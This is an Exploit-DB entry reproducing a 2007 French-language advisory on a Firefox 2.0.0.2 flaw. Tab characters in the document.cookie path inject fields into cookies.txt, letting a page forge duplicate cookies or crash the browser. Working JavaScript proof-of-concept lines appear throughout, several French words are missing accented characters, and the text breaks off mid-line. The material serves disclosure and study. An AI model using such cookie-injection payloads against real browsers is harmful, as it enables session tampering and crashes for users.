Exploit-DB #29720
Description: Mozilla Firefox 2.0.0.2 - Document.Cookie Path Argument Denial of Service
Type: dos
Platform: linux
Date: 2007-03-08
Author: Nicolas DEROUET

Exploit:
source: https://www.securityfocus.com/bid/22879/info

Mozilla Firefox is prone to a remote denial-of-service vulnerability.

An attacker may exploit this vulnerability to cause Mozilla Firefox to crash, resulting in denial-of-service conditions.

Little is known regarding this vulnerability; this BID will be updated when more information is disclosed.

Mozilla Firefox 2.0.0.2 is prone to this issue; other versions may also be affected.

Attackers may be able to bypass cookie domain and path restrictions, but this has not been confirmed. 

____________________________________________________________________________________________________

Mozilla Firefox ('document.cookie') Path Argument Multiple Vulnerabilities
____________________________________________________________________________________________________

Advisory   : ADV001a
Risk       : Moderate
Credit     : Nicolas DEROUET (nicolas.derouet[gmail]com)
Date       : 2007-03-08		  
Software   : Mozilla Firefox version 2.0.0.2 (Other versions or products may be also affected)
____________________________________________________________________________________________________

I think identify multiple vulnerabilities in Mozilla Firefox (default installation) which could be
exploited by malicious users to bypass the same origin policy, cause a denial of service and
conduct other attacks by writing the path of 'document.cookie' with tabulations or/and a large size.



Description (in French, sorry)
User Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.8.1.2) Gecko/20070219 Firefox/2.0.0.2
____________________________________________________________________________________________________
 
#1 Introduction
____________________________________________________________________________________________________

Un cookie, dans le fichier 'cookies.txt', est composée sept champs : le domaine du cookie, le
drapeau pour savoir s'il peut êe lu par les autres machines du mê domaine, le chemin (path), 
le drapeau de séritéla date d'expiration, le nom du cookie et la valeur du cookie.

Si nous exétons ce code JavaScript :
  URL         : http://127.0.0.1/
  JAVASCRIPT  : document.cookie = 'DEMO=A; domain=127.0.0.1; path=/; expires=Mon, 03-Sep-2007 00:00:01 GMT;';

Nous obtiendrons ceci dans le fichier 'cookies.txt' :
  COOKIES.TXT : 127.0.0.1  FALSE / FALSE[PII_REDACTED]  DEMO  A

Dans cette analyse, nous allons nous intésséarticulièment au 'PATH' du cookie.

  
  
     
____________________________________________________________________________________________________
 
#2 Injection de donnéavec la variable path
____________________________________________________________________________________________________


a) Préntation
---------------

Les champs dans le fichier 'cookies.txt' sont sérépar des tabulations (\t or \x09) hors le
'PATH' dans 'document.cookie' autorise l'utilisation des tabulations.

Par exemple, en modifiant le 'PATH' avec cette valeur '/\x09FALSE\x[PII_REDACTED]01\x09B\x09123', 
j'obtiens ceci (mon cookie d'origine a pour valeur est 'DEMO=A')


  URL         : http://127.0.0.1/index.htm
  JAVASCRIPT  : document.cookie = 'DEMO=A; domain=127.0.0.1; path=/\x09FALSE\x[PII_REDACTED]01\x09B\x09123; expires=Mon, 03-Sep-2007 00:00:01 GMT;';
  COOKIES.TXT : 127.0.0.1 FALSE / FALSE[PII_REDACTED] B 123 FALSE[PII_REDACTED] DEMO A
                                ^----------------------^                   |   |
                                     PATH INJECTION                     NAME   VALUE


Sur cette page http://127.0.0.1/index.htm, la valeur de 'location.pathname' est éle à/'. Donc,
mon cookie est inutilisable (pour le moment) car je me situe au mauvais chemin (PATH). 
 
En redérrant mon navigateur, je peux voir que mon cookie est utilisable sur la page 
http://127.0.0.1/index.htm, il s'est transforméour devenir 'B=123 FALSE[PII_REDACTED] DEMO A'.


  COOKIES.TXT : 127.0.0.1 FALSE / FALSE[PII_REDACTED] B 123 FALSE[PII_REDACTED] DEMO A  
                                |                  | ^-------------------------^ 
                             PATH               NAME           VALUE

 
Pour conclure, nous pouvons voire que n'importe quelle utilisateur malicieux peut mettre ce code
en place trèfacilement et que ce code prénte peu de danger dans ce contexte car il modifie la
variable cookie de son propre domaine.


 
b) Créion de cookies identiques 
---------------------------------


Si nous exétons ce code :
  document.cookie = 'id=6; domain=127.0.0.1; path=/; expires=Mon, 03-Sep-2007 00:00:01 GMT;';  
  document.cookie = 'id=7; domain=127.0.0.1; path=/; expires=Mon, 03-Sep-2007 00:00:01 GMT;';  
  document.cookie = 'id=8; domain=127.0.0.1; path=/; expires=Mon, 03-Sep-2007 00:00:01 GMT;';
  document.cookie = 'id=9; domain=127.0.0.1; path=/; expires=Mon, 03-Sep-2007 00:00:01 GMT;';

Nous aurons uniquement un seul cookie avec une variable id à. Par contre avec la
vulnébilitéréntéi-dessus, nous pouvons cré plusieurs cookies identiques.
Voici un code d'exemple :


  URL         : http://127.0.0.1/index.htm 
  JAVASCRIPT  : 
    document.cookie = 'B=123\x09FALSE\x[PII_REDACTED]01\x09id\x098; domain=127.0.0.1; path=/; expires=Wed, 05-Sep-2007 01:00:00 GMT;';
    document.cookie = 'id=8; domain=127.0.0.1; path=/\x09FALSE\x[PII_REDACTED]01\x09B\x09123; expires=Mon, 03-Sep-2007 00:00:01 GMT;'; 
  COOKIES.TXT :
    127.0.0.1 FALSE [/] FALSE[PII_REDACTED] [B] [123 FALSE[PII_REDACTED] id 8]
    127.0.0.1 FALSE [/ FALSE[PII_REDACTED] B 123] FALSE[PII_REDACTED] [id] [8] 


En redérrant le navigateur, nous aurons deux cookies identiques.
Prenons maintenant un deuxiè exemple,


  URL         : http://127.0.0.1/index.htm 
  JAVASCRIPT  :  
    document.cookie = 'BUG=YES; domain=127.0.0.1; path=/\x09FALSE\x[PII_REDACTED]01\x09PREF\x092; expires=Mon, 03-Sep-2007 00:00:01 GMT;';  
    document.cookie = 'PREF=1; domain=127.0.0.1; path=/; expires=Wed, 05-Sep-2007 01:00:0